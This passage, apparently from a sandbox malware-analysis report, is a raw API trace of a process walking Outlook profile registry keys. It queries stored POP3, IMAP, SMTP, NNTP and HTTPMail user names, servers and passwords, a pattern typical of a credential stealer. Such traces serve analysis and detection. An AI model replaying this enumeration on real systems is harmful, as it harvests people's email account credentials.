lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.373] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.373] RegCloseKey (hKey=0x71c) returned 0x0 [0096.373] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.373] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.373] RegCloseKey (hKey=0x71c) returned 0x0 [0096.373] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.373] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.373] RegCloseKey (hKey=0x71c) returned 0x0 [0096.374] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.374] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.374] RegCloseKey (hKey=0x71c) returned 0x0 [0096.374] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.374] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.374] RegCloseKey (hKey=0x71c) returned 0x0 [0096.374] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.374] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.374] RegCloseKey (hKey=0x71c) returned 0x0 [0096.374] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.374] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.374] RegCloseKey (hKey=0x71c) returned 0x0 [0096.374] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.374] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.374] RegCloseKey (hKey=0x71c) returned 0x0 [0096.374] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.374] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.374] RegCloseKey (hKey=0x71c) returned 0x0 [0096.374] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.375] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.375] RegCloseKey (hKey=0x71c) returned 0x0 [0096.375] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.375] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.375] RegCloseKey (hKey=0x71c) returned 0x0 [0096.375] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.375] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.375] RegCloseKey (hKey=0x71c) returned 0x0 [0096.375] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.375] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.375] RegCloseKey (hKey=0x71c) returned 0x0 [0096.375] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.375] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.375] RegCloseKey (hKey=0x71c) returned 0x0 [0096.375] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.375] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.375] RegCloseKey (hKey=0x71c) returned 0x0 [0096.375] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.375] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.376] RegCloseKey (hKey=0x71c) returned 0x0 [0096.376] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.376] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.376] RegCloseKey (hKey=0x71c) returned 0x0 [0096.376] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.376] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.376] RegCloseKey (hKey=0x71c) returned 0x0 [0096.376] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.376] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.376] RegCloseKey (hKey=0x71c) returned 0x0 [0096.376] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.376] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.376] RegCloseKey (hKey=0x71c) returned 0x0 [0096.376] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.376] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.376] RegCloseKey (hKey=0x71c) returned 0x0 [0096.376] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.376] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.376] RegCloseKey (hKey=0x71c) returned 0x0 [0096.376] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.377] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.377] RegCloseKey (hKey=0x71c) returned 0x0 [0096.377] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.377] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.377] RegCloseKey (hKey=0x71c) returned 0x0 [0096.377] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.377] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.377] RegCloseKey (hKey=0x71c) returned 0x0 [0096.377] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.377] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.377] RegCloseKey (hKey=0x71c) returned 0x0 [0096.377] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.377] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.377] RegCloseKey (hKey=0x71c) returned 0x0 [0096.377] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.377] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.377] RegCloseKey (hKey=0x71c) returned 0x0 [0096.377] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x71c) returned 0x0 [0096.378] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.378] RegCloseKey (hKey=0x71c) returned 0x0 [0096.378] LocalFree (hMem=0x28e7670) returned 0x0 [0096.378] RegEnumKeyExA (in: hKey=0x368, dwIndex=0xc, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9375CFF0413111d3B88A00104B2A6676", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.378] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.378] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.378] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0096.378] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.378] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.378] RegCloseKey (hKey=0x71c) returned 0x0 [0096.378] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.378] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.378] RegCloseKey (hKey=0x71c) returned 0x0 [0096.378] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.378] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.378] RegCloseKey (hKey=0x71c) returned 0x0 [0096.378] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.378] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.379] RegCloseKey (hKey=0x71c) returned 0x0 [0096.379] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.379] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.379] RegCloseKey (hKey=0x71c) returned 0x0 [0096.379] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.379] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.379] RegCloseKey (hKey=0x71c) returned 0x0 [0096.379] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.379] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.379] RegCloseKey (hKey=0x71c) returned 0x0 [0096.379] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.379] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.379] RegCloseKey (hKey=0x71c) returned 0x0 [0096.379] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.379] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.379] RegCloseKey (hKey=0x71c) returned 0x0 [0096.379] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.379] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.380] RegCloseKey (hKey=0x71c) returned 0x0 [0096.380] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.380] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.380] RegCloseKey (hKey=0x71c) returned 0x0 [0096.380] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.380] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.380] RegCloseKey (hKey=0x71c) returned 0x0 [0096.380] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.380] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.380] RegCloseKey (hKey=0x71c) returned 0x0 [0096.380] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.380] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.380] RegCloseKey (hKey=0x71c) returned 0x0 [0096.380] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.380] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.380] RegCloseKey (hKey=0x71c) returned 0x0 [0096.380] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.380] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.381] RegCloseKey (hKey=0x71c) returned 0x0 [0096.381] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.381] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | 